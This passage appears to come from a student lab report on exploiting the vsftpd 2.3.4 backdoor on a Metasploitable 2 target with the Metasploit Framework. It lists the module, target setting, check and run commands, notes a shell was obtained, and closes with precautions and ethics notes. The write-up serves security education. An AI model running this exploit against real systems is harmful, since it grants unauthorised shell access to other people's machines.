A known vulnerable FTP service was identified.

Step 6: Select Exploit Module

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Step 7: Configure Target System

set RHOSTS <Metasploitable_IP>

Step 8: Check Vulnerability

check

The target system was confirmed to be vulnerable.

Step 9: Execute the Exploit

run

The exploit was executed against the vulnerable service.

Step 10: Verify Access

- A shell session was obtained on the target system.
- Basic non-destructive commands were executed to confirm access.

Step 11: Exit the Session

exit

Metasploit was closed after successful demonstration.

Observation

- The vulnerable service on Metasploitable was successfully exploited.
- Unauthorized access to the target system was obtained.
- The vulnerability existed due to outdated and insecure service configuration.
- The exploit execution demonstrated how attackers can compromise systems if vulnerabilities are not patched.

Result

The vulnerable target system (Metasploitable 2) was successfully exploited using the Metasploit Framework. Unauthorized access was obtained in a controlled laboratory environment, demonstrating the impact of insecure system configurations.

Conclusion

This experiment demonstrated how Metasploit Framework can be used to exploit known vulnerabilities in a system. It highlighted the importance of patch management, secure configuration, and ethical hacking practices. Understanding exploitation techniques helps security professionals design effective defenses against real-world attacks.

Precautions

1. Perform the experiment only in an isolated laboratory environment.
2. Use only intentionally vulnerable systems such as Metasploitable.
3. Never exploit real or unauthorized systems.
4. Do not modify or delete files on the target system.
5. Exit the exploit session immediately after verification.
6. Follow ethical hacking guidelines at all times.

Ethical and Legal Considerations

- Exploitation without permission is illegal.
- Metasploit must be used only for authorized testing.
- Ethical hacking aims to improve security, not cause damage.